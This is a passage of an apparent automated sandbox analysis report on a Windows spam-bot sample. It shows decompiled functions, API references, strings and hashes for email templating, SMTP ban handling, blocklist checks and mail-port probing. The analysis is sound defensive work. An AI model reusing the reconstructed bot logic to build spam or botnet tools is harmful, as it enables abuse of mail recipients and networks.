~+t`y+tp*t, xrefs: 004019B1
GetIfEntry, xrefs: 004019E4
GetAdaptersInfo, xrefs: 004019DC
localcfg, xrefs: 004019A3
123.45.67.89, xrefs: 004019A6
GetBestInterface, xrefs: 004019EF

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~+t`y+tp*t
API String ID: 835516345-2032924975
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,7519EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

GetNetworkParams, xrefs: 00402E28
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
~+t`y+tp*t, xrefs: 00402E93

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~+t`y+tp*t
API String ID: 929413710-2889758715
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_MID, xrefs: 0040AEAE
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%s%d, xrefs: 0040AE58
%OUTLOOK_HST, xrefs: 0040AEC5

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

p*t, xrefs: 0040F375, 0040F3A0
time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p*t$time_cfg
API String ID: 311057483-1276725725
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

46A, xrefs: 0040BF85
smtp_ban, xrefs: 0040BE55, 0040BF77
06A, xrefs: 0040BF70
smtp_herr, xrefs: 0040BE46, 0040BF62
86A, xrefs: 0040BF98
smtp_retr, xrefs: 0040BE61, 0040BF8C

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%TO_DOMAIN, xrefs: 0040B44B
%FROM_DOMAIN, xrefs: 0040B41E
%TO_HASH, xrefs: 0040B4B0
%TO_EMAIL, xrefs: 0040B473
%P5DATE, xrefs: 0040B4F2
%FROM_USER, xrefs: 0040B431
%M5DATE, xrefs: 0040B50F
%DATE, xrefs: 0040B4D2
%TO_USER, xrefs: 0040B488
%FROM_EMAIL, xrefs: 0040B3E9
%s@%s, xrefs: 0040B461

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
